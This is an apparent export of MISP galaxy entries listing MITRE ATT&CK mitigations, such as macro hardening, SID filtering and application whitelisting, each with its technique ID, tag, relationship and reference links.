https://technet.microsoft.com/en-us/library/ee791851.aspx

Office Application Startup Mitigation - T1137

Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing. Even setting to disable with notification could enable unsuspecting users to execute potentially malicious macros. (Citation: TechNet Office Macro Security)

For the Office Test method, create the Registry key used to execute it and set the permissions to "Read Control" to prevent easy access to the key without administrator permissions or requiring Privilege Escalation. (Citation: Palo Alto Office Test Sofacy)

Disable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing. (Citation: MRWLabs Office Persistence Add-ins)

For the Outlook methods, blocking macros may be ineffective as the Visual Basic engine used for these features is separate from the macro scripting engine.(Citation: SensePost Outlook Forms) Microsoft has released patches to try to address each issue. Ensure KB3191938 which blocks Outlook Visual Basic and displays a malicious code warning, KB4011091 which disables custom forms by default, and KB4011162 which removes the legacy Home Page feature, are applied to systems.(Citation: SensePost Outlook Home Page)

The tag is: misp-galaxy:mitre-course-of-action="Office Application Startup Mitigation - T1137"

Office Application Startup Mitigation - T1137 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"

Table 2775. Table References
Links
https://attack.mitre.org/mitigations/T1137
https://blogs.technet.microsoft.com/mmpc/2016/03/22/new-feature-in-office-2016-can-block-macros-and-help-prevent-infection/
https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/
https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/
https://sensepost.com/blog/2017/outlook-forms-and-shells/
https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/

Dynamic Data Exchange Mitigation - T1173

Registry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. (Citation: Microsoft DDE Advisory Nov 2017) (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: GitHub Disable DDEAUTO Oct 2017) Microsoft also created, and enabled by default, Registry keys to completely disable DDE execution in Word and Excel. (Citation: Microsoft ADV170021 Dec 2017)

Ensure Protected View is enabled (Citation: Microsoft Protected View) and consider disabling embedded files in Office programs, such as OneNote, not enrolled in Protected View. (Citation: Enigma Reviving DDE Jan 2018) (Citation: GitHub Disable DDEAUTO Oct 2017)

On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent DDE attacks and spawning of child processes from Office programs. (Citation: Microsoft ASR Nov 2017) (Citation: Enigma Reviving DDE Jan 2018)

The tag is: misp-galaxy:mitre-course-of-action="Dynamic Data Exchange Mitigation - T1173"

Dynamic Data Exchange Mitigation - T1173 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"

Table 2776. Table References
Links
https://attack.mitre.org/mitigations/T1173
https://technet.microsoft.com/library/security/4053440
https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/
https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b
https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021
https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653
https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee
https://docs.microsoft.com/windows/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction

Clear Command History Mitigation - T1146

Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their <code>~/.bash_history</code> files. Additionally, making these environment variables readonly can make sure that the history is preserved (Citation: Securing bash history).

The tag is: misp-galaxy:mitre-course-of-action="Clear Command History Mitigation - T1146"

Clear Command History Mitigation - T1146 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Clear Command History - T1146" with estimative-language:likelihood-probability="almost-certain"

Table 2777. Table References
Links
https://attack.mitre.org/mitigations/T1146
http://www.akyl.net/securing-bashhistory-file-make-sure-your-linux-system-users-won%E2%80%99t-hide-or-delete-their-bashhistory

Password Filter DLL Mitigation - T1174

Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (<code>C:\Windows\System32\</code> by default) of a domain controller and/or local computer with a corresponding entry in <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages</code>. (Citation: Microsoft Install Password Filter n.d)

The tag is: misp-galaxy:mitre-course-of-action="Password Filter DLL Mitigation - T1174"

Password Filter DLL Mitigation - T1174 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Password Filter DLL - T1174" with estimative-language:likelihood-probability="almost-certain"

Table 2778. Table References
Links
https://attack.mitre.org/mitigations/T1174
https://msdn.microsoft.com/library/windows/desktop/ms721766.aspx

Spearphishing via Service Mitigation - T1194

Determine if certain social media sites, personal webmail services, or other service that can be used for spearphishing is necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.

Because this technique involves use of legitimate services and user interaction on the endpoint, it’s difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. To prevent the downloads from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.

The tag is: misp-galaxy:mitre-course-of-action="Spearphishing via Service Mitigation - T1194"

Spearphishing via Service Mitigation - T1194 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1194" with estimative-language:likelihood-probability="almost-certain"

Table 2779. Table References
Links
https://attack.mitre.org/mitigations/T1194

Supply Chain Compromise Mitigation - T1195

Apply supply chain risk management (SCRM) practices and procedures (Citation: MITRE SE Guide 2014), such as supply chain analysis and appropriate risk management, throughout the life-cycle of a system.

Leverage established software development lifecycle (SDLC) practices (Citation: NIST Supply Chain 2012):

Uniquely Identify Supply Chain Elements, Processes, and Actors
Limit Access and Exposure within the Supply Chain
Establish and Maintain the Provenance of Elements, Processes, Tools, and Data
Share Information within Strict Limits
Perform SCRM Awareness and Training
Use Defensive Design for Systems, Elements, and Processes
Perform Continuous Integrator Review
Strengthen Delivery Mechanisms
Assure Sustainment Activities and Processes
Manage Disposal and Final Disposition Activities throughout the System or Element Life Cycle

A patch management process should be implemented to check unused dependencies, unmaintained and/or previously vulnerable dependencies, unnecessary features, components, files, and documentation. Continuous monitoring of vulnerability sources and the use of automatic and manual code review tools should also be implemented as well. (Citation: OWASP Top 10 2017)

The tag is: misp-galaxy:mitre-course-of-action="Supply Chain Compromise Mitigation - T1195"

Supply Chain Compromise Mitigation - T1195 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1195" with estimative-language:likelihood-probability="almost-certain"

Table 2780. Table References
Links
https://attack.mitre.org/mitigations/T1195
https://www.mitre.org/sites/default/files/publications/se-guide-book-interactive.pdf
http://dx.doi.org/10.6028/NIST.IR.7622
https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf

Setuid and Setgid Mitigation - T1166

Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised. Additionally, the number of programs with setuid or setgid bits set should be minimized across a system.

The tag is: misp-galaxy:mitre-course-of-action="Setuid and Setgid Mitigation - T1166"

Setuid and Setgid Mitigation - T1166 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Setuid and Setgid - T1166" with estimative-language:likelihood-probability="almost-certain"

Table 2781. Table References
Links
https://attack.mitre.org/mitigations/T1166

Local Job Scheduling Mitigation - T1168

Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized users can create scheduled jobs. Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule jobs using whitelisting tools.

The tag is: misp-galaxy:mitre-course-of-action="Local Job Scheduling Mitigation - T1168"

Local Job Scheduling Mitigation - T1168 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Local Job Scheduling - T1168" with estimative-language:likelihood-probability="almost-certain"

Table 2782. Table References
Links
https://attack.mitre.org/techniques/T1168

Control Panel Items Mitigation - T1196

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls and/or execution of particular file extensions will likely have unintended side effects, such as preventing legitimate software (i.e., drivers and configuration tools) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.

Restrict storage and execution of Control Panel items to protected directories, such as <code>C:\Windows</code>, rather than user directories.

Index known safe Control Panel items and block potentially malicious software using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executable files.

Consider fully enabling User Account Control (UAC) to impede system-wide changes from illegitimate administrators. (Citation: Microsoft UAC)

The tag is: misp-galaxy:mitre-course-of-action="Control Panel Items Mitigation - T1196"

Control Panel Items Mitigation - T1196 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Control Panel Items - T1196" with estimative-language:likelihood-probability="almost-certain"

Table 2783. Table References
Links
https://attack.mitre.org/mitigations/T1196
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://msdn.microsoft.com/library/windows/desktop/dn742497.aspx

File Permissions Modification Mitigation - T1222

This type of technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.

The tag is: misp-galaxy:mitre-course-of-action="File Permissions Modification Mitigation - T1222"

File Permissions Modification Mitigation - T1222 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="File and Directory Permissions Modification - T1222" with estimative-language:likelihood-probability="almost-certain"

Table 2784. Table References
Links
https://attack.mitre.org/mitigations/T1222

Compiled HTML File Mitigation - T1223

Consider blocking download/transfer and execution of potentially uncommon file types known to be used in adversary campaigns, such as CHM files. (Citation: PaloAlto Preventing Opportunistic Attacks Apr 2016) Also consider using application whitelisting to prevent execution of hh.exe if it is not required for a given system or network to prevent potential misuse by adversaries.

The tag is: misp-galaxy:mitre-course-of-action="Compiled HTML File Mitigation - T1223"

Compiled HTML File Mitigation - T1223 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1223" with estimative-language:likelihood-probability="almost-certain"

Table 2785. Table References
Links
https://attack.mitre.org/mitigations/T1223
https://live.paloaltonetworks.com/t5/Ignite-2016-Blog/Breakout-Recap-Cybersecurity-Best-Practices-Part-1-Preventing/ba-p/75913

Domain Trust Discovery Mitigation - T1482

Map the trusts within existing domains/forests and keep trust relationships to a minimum. Employ network segmentation for sensitive domains.(Citation: Harmj0y Domain Trusts)

The tag is: misp-galaxy:mitre-course-of-action="Domain Trust Discovery Mitigation - T1482"

Domain Trust Discovery Mitigation - T1482 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"

Table 2786. Table References
Links
https://attack.mitre.org/mitigations/T1482
http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/ [http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/ ]

Stored Data Manipulation Mitigation - T1492

Identify critical business and system processes that may be targeted by adversaries and work to secure the data related to those processes against tampering. Ensure least privilege principles are applied to important information resources to reduce exposure to data manipulation risk. Consider encrypting important information to reduce an adversaries ability to perform tailor data modifications. Where applicable, examine using file monitoring software to check integrity on important files and directories as well as take corrective actions when unauthorized changes are detected.

The tag is: misp-galaxy:mitre-course-of-action="Stored Data Manipulation Mitigation - T1492"

Stored Data Manipulation Mitigation - T1492 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1492" with estimative-language:likelihood-probability="almost-certain"

Table 2787. Table References
Links
https://attack.mitre.org/mitigations/T1492
https://www.ready.gov/business/implementation/IT

Domain Generation Algorithms Mitigation - T1483

This technique may be difficult to mitigate since the domains can be registered just before they are used, and disposed shortly after. Malware researchers can reverse-engineer malware variants that use DGAs and determine future domains that the malware will attempt to contact, but this is a time and resource intensive effort.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA Brute Force) Malware is also increasingly incorporating seed values that can be unique for each instance, which would then need to be determined to extract future generated domains. In some cases, the seed that a particular sample uses can be extracted from DNS traffic.(Citation: Akamai DGA Mitigation) Even so, there can be thousands of possible domains generated per day; this makes it impractical for defenders to preemptively register all possible C2 domains due to the cost. In some cases a local DNS sinkhole may be used to help prevent DGA-based command and control at a reduced cost.

The tag is: misp-galaxy:mitre-course-of-action="Domain Generation Algorithms Mitigation - T1483"

Domain Generation Algorithms Mitigation - T1483 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1483" with estimative-language:likelihood-probability="almost-certain"

Table 2788. Table References
Links
https://attack.mitre.org/mitigations/T1483
http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf
https://umbrella.cisco.com/blog/2015/02/18/at-high-noon-algorithms-do-battle/
https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Transmitted Data Manipulation Mitigation - T1493

Identify critical business and system processes that may be targeted by adversaries and work to secure communications related to those processes against tampering. Encrypt all important data flows to reduce the impact of tailored modifications on data in transit.

The tag is: misp-galaxy:mitre-course-of-action="Transmitted Data Manipulation Mitigation - T1493"

Transmitted Data Manipulation Mitigation - T1493 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1493" with estimative-language:likelihood-probability="almost-certain"

Table 2789. Table References
Links
https://attack.mitre.org/mitigations/T1493

Group Policy Modification Mitigation - T1484

Identify and correct GPO permissions abuse opportunities (ex: GPO modification privileges) using auditing tools such as Bloodhound (version 1.5.1 and later)(Citation: GitHub Bloodhound).

Consider implementing WMI and security filtering to further tailor which users and computers a GPO will apply to.(Citation: Wald0 Guide to GPOs)(Citation: Microsoft WMI Filters)(Citation: Microsoft GPO Security Filtering)

The tag is: misp-galaxy:mitre-course-of-action="Group Policy Modification Mitigation - T1484"

Group Policy Modification Mitigation - T1484 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484" with estimative-language:likelihood-probability="almost-certain"

Table 2790. Table References
Links
https://attack.mitre.org/mitigations/T1484
https://github.com/BloodHoundAD/BloodHound
https://wald0.com/?p=179
https://blogs.technet.microsoft.com/askds/2008/09/11/fun-with-wmi-filters-in-group-policy/
https://docs.microsoft.com/en-us/previous-versions/windows/desktop/Policy/filtering-the-scope-of-a-gpo

Runtime Data Manipulation Mitigation - T1494

Identify critical business and system processes that may be targeted by adversaries and work to secure those systems against tampering. Prevent critical business and system processes from being replaced, overwritten, or reconfigured to load potentially malicious code. Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Runtime Data Manipulation Mitigation - T1494"

Runtime Data Manipulation Mitigation - T1494 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Runtime Data Manipulation - T1494" with estimative-language:likelihood-probability="almost-certain"

Table 2791. Table References
Links
https://attack.mitre.org/mitigations/T1494
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

LLMNR/NBT-NS Poisoning Mitigation - T1171

Disable LLMNR and NetBIOS in local computer security settings or by group policy if they are not needed within an environment. (Citation: ADSecurity Windows Secure Baseline)

Use host-based security software to block LLMNR/NetBIOS traffic. Enabling SMB Signing can stop NTLMv2 relay attacks.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)(Citation: Microsoft SMB Packet Signing)

The tag is: misp-galaxy:mitre-course-of-action="LLMNR/NBT-NS Poisoning Mitigation - T1171"

LLMNR/NBT-NS Poisoning Mitigation - T1171 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and Relay - T1171" with estimative-language:likelihood-probability="almost-certain"

Table 2792. Table References
Links
https://attack.mitre.org/mitigations/T1171
https://adsecurity.org/?p=3299
https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html
https://docs.microsoft.com/en-us/previous-versions/system-center/operations-manager-2005/cc180803(v=technet.10)

Restrict Web-Based Content - M1021

Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.

The tag is: misp-galaxy:mitre-course-of-action="Restrict Web-Based Content - M1021"

Restrict Web-Based Content - M1021 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1223" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1194" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1483" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Application Access Token - T1527" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with estimative-language:likelihood-probability="almost-certain"

Table 2793. Table References
Links
https://attack.mitre.org/mitigations/M1021

Multi-Stage Channels Mitigation - T1104

Command and control infrastructure used in a multi-stage channel may be blocked if known ahead of time. If unique signatures are present in the C2 traffic, they could also be used as the basis of identifying and blocking the channel. (Citation: University of Birmingham C2)

The tag is: misp-galaxy:mitre-course-of-action="Multi-Stage Channels Mitigation - T1104"

Multi-Stage Channels Mitigation - T1104 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"

Table 2794. Table References
Links
https://attack.mitre.org/mitigations/T1104
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Third-party Software Mitigation - T1072

Evaluate the security of third-party software that could be used in the enterprise environment. Ensure that access to management systems for third-party systems is limited, monitored, and secure. Have a strict approval policy for use of third-party systems.

Grant access to Third-party systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multi-factor authentication. Verify that account credentials that may be used to access third-party systems are unique and not used throughout the enterprise network. Ensure that any accounts used by third-party providers to access these systems are traceable to the third-party and are not used throughout the network or used by other third-party providers in the same environment. Ensure third-party systems are regularly patched by users or the provider to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).

Ensure there are regular reviews of accounts provisioned to these systems to verify continued business need, and ensure there is governance to trace de-provisioning of access that is no longer required.

Where the third-party system is used for deployment services, ensure that it can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the third-party system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.

The tag is: misp-galaxy:mitre-course-of-action="Third-party Software Mitigation - T1072"

Third-party Software Mitigation - T1072 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Third-party Software - T1072" with estimative-language:likelihood-probability="almost-certain"

Table 2795. Table References
Links
https://attack.mitre.org/mitigations/T1072

DLL Side-Loading Mitigation - T1073

Update software regularly. Install software in write-protected locations. Use the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.

The tag is: misp-galaxy:mitre-course-of-action="DLL Side-Loading Mitigation - T1073"

DLL Side-Loading Mitigation - T1073 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"

Table 2796. Table References
Links
https://attack.mitre.org/mitigations/T1073

Command-Line Interface Mitigation - T1059

Audit and/or block command-line interpreters by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Command-Line Interface Mitigation - T1059"

Command-Line Interface Mitigation - T1059 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 2797. Table References
Links
https://attack.mitre.org/mitigations/T1059
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Re-opened Applications Mitigation - T1164

Holding the Shift key while logging in prevents apps from opening automatically (Citation: Re-Open windows on Mac). This feature can be disabled entirely with the following terminal command: <code>defaults write -g ApplePersistence -bool no</code>.

The tag is: misp-galaxy:mitre-course-of-action="Re-opened Applications Mitigation - T1164"

Re-opened Applications Mitigation - T1164 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Re-opened Applications - T1164" with estimative-language:likelihood-probability="almost-certain"

Table 2798. Table References
Links
https://attack.mitre.org/mitigations/T1164
https://support.apple.com/en-us/HT204005

SID-History Injection Mitigation - T1178

Clean up SID-History attributes after legitimate account migration is complete.

Consider applying SID Filtering to interforest trusts, such as forest trusts and external trusts, to exclude SID-History from requests to access domain resources. SID Filtering ensures that any authentication requests over a trust only contain SIDs of security principals from the trusted domain (i.e. preventing the trusted domain from claiming a user has membership in groups outside of the domain).

SID Filtering of forest trusts is enabled by default, but may have been disabled in some cases to allow a child domain to transitively access forest trusts. SID Filtering of external trusts is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID Filtering Quarantining Jan 2009) However note that SID Filtering is not automatically applied to legacy trusts or may have been deliberately disabled to allow inter-domain access to resources.

SID Filtering can be applied by: (Citation: Microsoft Netdom Trust Sept 2012)

Disabling SIDHistory on forest trusts using the netdom tool (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /EnableSIDHistory:no</code> on the domain controller).
Applying SID Filter Quarantining to external trusts using the netdom tool (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /quarantine:yes</code> on the domain controller) Applying SID Filtering to domain trusts within a single forest is not recommended as it is an unsupported configuration and can cause breaking changes. (Citation: Microsoft Netdom Trust Sept 2012) (Citation: AdSecurity Kerberos GT Aug 2015) If a domain within a forest is untrustworthy then it should not be a member of the forest. In this situation it is necessary to first split the trusted and untrusted domains into separate forests where SID Filtering can be applied to an interforest trust.

The tag is: misp-galaxy:mitre-course-of-action="SID-History Injection Mitigation - T1178"

SID-History Injection Mitigation - T1178 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="SID-History Injection - T1178" with estimative-language:likelihood-probability="almost-certain"

Table 2799. Table References
Links
https://attack.mitre.org/mitigations/T1178
https://technet.microsoft.com/library/cc755321.aspx
https://technet.microsoft.com/library/cc794757.aspx
https://technet.microsoft.com/library/cc835085.aspx
https://adsecurity.org/?p=1640

Multi-hop Proxy Mitigation - T1188

Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network black and white lists. It should be noted that this kind of blocking may be circumvented by other techniques like [Domain Fronting](https://attack.mitre.org/techniques/T1172).

The tag is: misp-galaxy:mitre-course-of-action="Multi-hop Proxy Mitigation - T1188"

Multi-hop Proxy Mitigation - T1188 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1188" with estimative-language:likelihood-probability="almost-certain"

Table 2800. Table References
Links
https://attack.mitre.org/mitigations/T1188

Drive-by Compromise Mitigation - T1189

Drive-by compromise relies on there being a vulnerable piece of software on the client end systems. Use modern browsers with security features turned on. Ensure all browsers and plugins kept updated can help prevent the exploit phase of this technique.

For malicious code served up through ads, adblockers can help prevent that code from executing in the first place. Script blocking extensions can help prevent the execution of JavaScript that may commonly be used during the exploitation process.

The tag is: misp-galaxy:mitre-course-of-action="Drive-by Compromise Mitigation - T1189"

Drive-by Compromise Mitigation - T1189 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"

Table 2801. Table References
Links
https://attack.mitre.org/mitigations/T1189
https://blogs.windows.com/msedgedev/2017/03/23/strengthening-microsoft-edge-sandbox/
https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/
https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/
https://en.wikipedia.org/wiki/Control-flow_integrity

Virtualization/Sandbox Evasion Mitigation - T1497

Mitigation of this technique with preventative controls may impact the adversary’s decision process depending on what they’re looking for, how they use the information, and what their objectives are. Since it may be difficult to mitigate all aspects of information that could be gathered, efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior if compromised.

The tag is: misp-galaxy:mitre-course-of-action="Virtualization/Sandbox Evasion Mitigation - T1497"

Virtualization/Sandbox Evasion Mitigation - T1497 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"

Table 2802. Table References
Links
https://attack.mitre.org/mitigations/T1497

Data Obfuscation Mitigation - T1001

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: misp-galaxy:mitre-course-of-action="Data Obfuscation Mitigation - T1001"

Data Obfuscation Mitigation - T1001 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"

Table 2803. Table References
Links
https://attack.mitre.org/mitigations/T1001
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Web Shell Mitigation - T1100

Ensure that externally facing Web servers are patched regularly to prevent adversary access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as Web pages.

Audit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through Credential Access and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network. (Citation: US-CERT Alert TA15-314A Web Shells)

The tag is: misp-galaxy:mitre-course-of-action="Web Shell Mitigation - T1100"

Web Shell Mitigation - T1100 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"

Table 2804. Table References
Links
https://attack.mitre.org/mitigations/T1100
https://www.us-cert.gov/ncas/alerts/TA15-314A

Automated Exfiltration Mitigation - T1020

Identify unnecessary system utilities, scripts, or potentially malicious software that may be used to transfer data outside of a network, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Automated Exfiltration Mitigation - T1020"

Automated Exfiltration Mitigation - T1020 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"

Table 2805. Table References
Links
https://attack.mitre.org/mitigations/T1020
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Hardware Additions Mitigation - T1200

Establish network access control policies, such as using device certificates and the 802.1x standard. (Citation: Wikipedia 802.1x) Restrict use of DHCP to registered devices to prevent unregistered devices from communicating with trusted systems.

Block unknown devices and accessories by endpoint security configuration and monitoring agent.

The tag is: misp-galaxy:mitre-course-of-action="Hardware Additions Mitigation - T1200"

Hardware Additions Mitigation - T1200 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Hardware Additions - T1200" with estimative-language:likelihood-probability="almost-certain"

Table 2806. Table References
Links
https://attack.mitre.org/mitigations/T1200
